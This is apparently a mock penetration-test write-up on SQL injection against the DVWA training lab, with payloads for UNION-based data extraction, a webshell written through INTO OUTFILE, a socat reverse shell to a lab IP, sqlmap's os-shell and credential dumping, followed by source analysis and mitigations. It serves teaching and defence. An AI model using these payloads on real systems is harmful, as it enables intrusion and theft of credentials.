10 minute read

SQL Injection Remote Code Execution Report

Table of Contents

Outline

The goal of this write-up is to document and demonstrate SQL Injection vulnerability against the Damn Vulnerable Web Application (DVWA). The objective of this attack was to gain a Remote Code Execution (RCE) as www-data. This report mocks a penetration testing report and a debriefing situation for a client. The full presentation to our clients can be seen Here

Vulnerability Explanation

Information Explanation
Name SQLi
Severity High
CVSS 8.8
String AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H
Path http://127.0.0.1/vulnerabilities/sqli/

SQL injection is a security vulnerability that allows attackers to manipulate SQL queries executed by a web application’s database. This vulnerability poses a significant threat to the Confidentiality, Integrity, and Availability (CIA) triad of a system, as it can result in data breaches, unauthorized data disclosure, data manipulation, and potential system downtime. It may also lead to a full compromise of a system through Remote Code Execution.

Proof of Concept

First, the tester manually detected a SQL injection vulnerability by submitting the single quote character '

The tester found an error, which signified a very likely SQL injection vulnerability. To conduct a more sophisticated UNION based attack, the tester proceeded to test out the number of columns that were returned from the original query. The UNION keyword lets the tester execute one or more additional SELECT queries and append the results to the original query. This is useful as the tester could include additional database information and queries of his taste.

' ORDER BY 1#
' ORDER BY 2#

After some trial and error, the tester confirmed that there were two columns from the original query.

With the columns in mind, the tester crafted the following payload to write a PHP webshell payload into the /var/www/html/tmp/ directory.

' UNION SELECT null, "<?php system($_GET['cmd']);?>"INTO OUTFILE "/var/www/html/tmp/shell1.php" #

To establish a reverse shell, the tester utilized the following socat command.

 socat tcp-connect:192.168.45.180:1234 exec:bash 

For the server to correctly interpret and transmit the reverse shell, the URL was encoded as the following:

socat%20tcp-connect%3A192.168.45.180%3A1234%20exec%3Abash

The tester created a net cat listener to catch the reverse shell.

nc -nlvp 1234 

Next, the encoded URL was appended to /tmp/shell1.php with the cmd parameter as the following.

127.0.0.1/tmp/shell1.php?cmd=socat%20tcp-connect%3A192.168.45.180%3A1234exec%3Abash

The tester gained an interactive reverse shell as demonstrated below.

Automating the Process SQLMap

An interactive os-shell was also obtainable using SQLMap. SQLMap is an open-source penetration testing tool that automates the process of detecting and exploiting SQL injection vulnerabilities in web applications.

First, the tester intercepted the user input via Burp Suite.


Next, the tester saved the intercepted HTTP request to a file called hack
The tester ran the following SQLMap command and set the web language to PHP and target location to /var/www/html/tmp

sqlmap -r hack --os-shell

As seen below, the tester gained an interactive shell as www-data

Manual Enumeration & Exploitation

In cases where the current user lacks the necessary privileges to execute the INTO OUTFILE SQL query or lacks the requisite tools, manual exploitation provides an alternative method for extracting sensitive data.
With the below command, the tester queried all available databases.

' union SELECT null, schema_name FROM information_schema.schemata #

Next, the tester targeted the table names from the dvwa database to figure out that there was a users table to target.

' UNION SELECT NULL, table_name FROM information_schema.tables WHERE table_schema = 'dvwa' #

Next, the tester figured out the column names from the dvwa users table.

' UNION SELECT null, column_name FROM information_schema.columns WHERE table_schema = 'dvwa' AND table_name = 'users' #

As a result, the tester retrieved the username and password from the data base.

' UNION SELECT user, password FROM dvwa.users #

The tester utilized hash-identifier to identify the hash as md5.

Finally, the tester utilzed hashcat to crack the password and identified the admin password as password

Source Code Analysis

Security-Low-Level

In the Security-Low-Level module, there are zero security measures in place to limit user input.

<?php

if( isset( $_REQUEST[ 'Submit' ] ) ) {
    // Get input
    $id = $_REQUEST[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";
    $result = mysqli_query($GLOBALS["___mysqli_ston"],  $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );

    // Get results
    while( $row = mysqli_fetch_assoc( $result ) ) {
        // Get values
        $first = $row["first_name"];
        $last  = $row["last_name"];

        // Feedback for end user
        echo "<pre>ID: {$id}<br />First name: {$first}<br />Surname: {$last}</pre>";
    }

    mysqli_close($GLOBALS["___mysqli_ston"]);
}

?> 

The user input is stored in the variable $id using the $_REQUEST[‘id’] mechanism. Subsequently, the query is executed, retrieving the first_name and last_name fields from the users table based on the provided user ID. \

 $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id';";

However, this code snippet is susceptible to SQL injection attacks because it does not properly validate or sanitize the user input. This means that an attacker can exploit the vulnerability by inputting malicious SQL queries into the id field, potentially compromising the security and integrity of the database. To mitigate this risk, it is crucial to implement proper input validation and parameterization techniques to prevent SQL injection vulnerabilities.

Security-Medium-Level

In the Security-Medium-Level module, there are minimal security measures to validate user upload.

if( isset( $_POST[ 'Submit' ] ) ) {
    // Get input
    $id = $_POST[ 'id' ];

    $id = mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $id);

    $query  = "SELECT first_name, last_name FROM users WHERE user_id = $id;"; 
....
}

The user input field was replaced by a dropdown list as a preventive measure to mitigate the risk of SQL injection attacks. Additionally, the mysqli_real_escape_string() function was employed to escape special characters in the input string, such as single quotes, double quotes, and backslashes, before using it in an SQL query.

However, despite these precautions, the prevention mechanism proved to be ineffective when tested using Burpsuite. By intercepting the user input and injecting the UNION SELECT user, password FROM dvwa.users # statement, the tester successfully retrieved information from the database. This was possible because the tester exploited the functionality of the SQL UNION query, bypassing the protective measures of mysqli_real_escape_string().

Furthermore, the dropdown list approach also demonstrated vulnerabilities as the parameters were manipulatable using Burp suite, undermining the intended security measures.

Security-High-Level

<?php

if( isset( $_SESSION [ 'id' ] ) ) {
    // Get input
    $id = $_SESSION[ 'id' ];

    // Check database
    $query  = "SELECT first_name, last_name FROM users WHERE user_id = '$id' LIMIT 1;"; 
....
}

In the Security-High-Level module, an additional security measure has been implemented by adding a LIMIT 1; statement to the SQL query after the user_id = '$id' condition. This measure aims to restrict the output of the SQL database to only one record, thereby mitigating the impact of sophisticated attacks such as the UNION-based attack.

However, the tester bypassed this prevention method by simply appending the comment symbol, which effectively commented out the LIMIT 1; statement. By employing the same payload as used in the Security-Medium-Level module, the tester exploited the vulnerability and gained unauthorized access to sensitive data.

Mitigating SQL Injection Vulnerability

Use Parameterized Queries

$stmt = $pdo->prepare("SELECT * FROM users WHERE username = :username AND password = :password");
$stmt->bindParam(':username', $username);
$stmt->bindParam(':password', $password);
$stmt->execute();

Bind input values from the SQL code and ensures that they are treated as data rather than executable SQL statements. When a value is binded, it is securely passed to the database engine as a parameter, and the databasee interpreted the parameter as non sql data to be used in the query. Here the :username and :password are binded to the parameter $username and $password respectively.

Principle of Least Privilege

Ensure that database users have the minimum required privileges necessary for their operations. Avoid granting excessive permissions to user accounts.

mysql -u root -p root
GRANT SELECT, INSERT, UPDATE, DELETE, ON mydatabase.* TO 'app'@'localhost';
FLUSH PRIVILEGES;

By excluding the EXECUTE privilege, the system restrict the user from executing stored procedures . Moreover, by removing the INTO OUTFILE, the system prevents users from writing query results directly to an output file on the server’s file system. This would have prevented the Remote Code Execution demonstrated in the start of the report.

Password Hashing:

Use strong cryptographic hash functions with salt. Modern hashing algorithms such as Argon2id, bcrypt, and PBKDF2 automatically incorporate salt and are considered the standards when hashing passwords. A salt is a unique and randomly generated string that is added to each password during the hashing process. Since the salt is unique for every user, an attacker must crack hashes one at a time using the corresponding salt, rather than calculating a hash once and comparing it against every stored hash. This provides an additional layer of security for storing passwords. Below is an example code snippet in Python using the popular bcrypt library to hash and salt the password.

import bcrypt

# Generate a salt and hash the password
password = b"MyPassword123"  # Note the 'b' prefix to indicate a byte string
hashed_password = bcrypt.hashpw(password, bcrypt.gensalt())

# Print the hashed password
print(hashed_password)

Conclusion

In conclusion, SQL injection is a critical vulnerability that poses significant risks to the security and integrity of database. It enables attackers to manipulate SQL queries and potentially gain unauthorized access, disclose sensitive information, or even execute arbitrary code. Preventing SQL injection is of prime importance to protect the confidentiality, integrity, and availability of data for users.

Reference:

GrootBoan , SECN & Portswigger

Updated: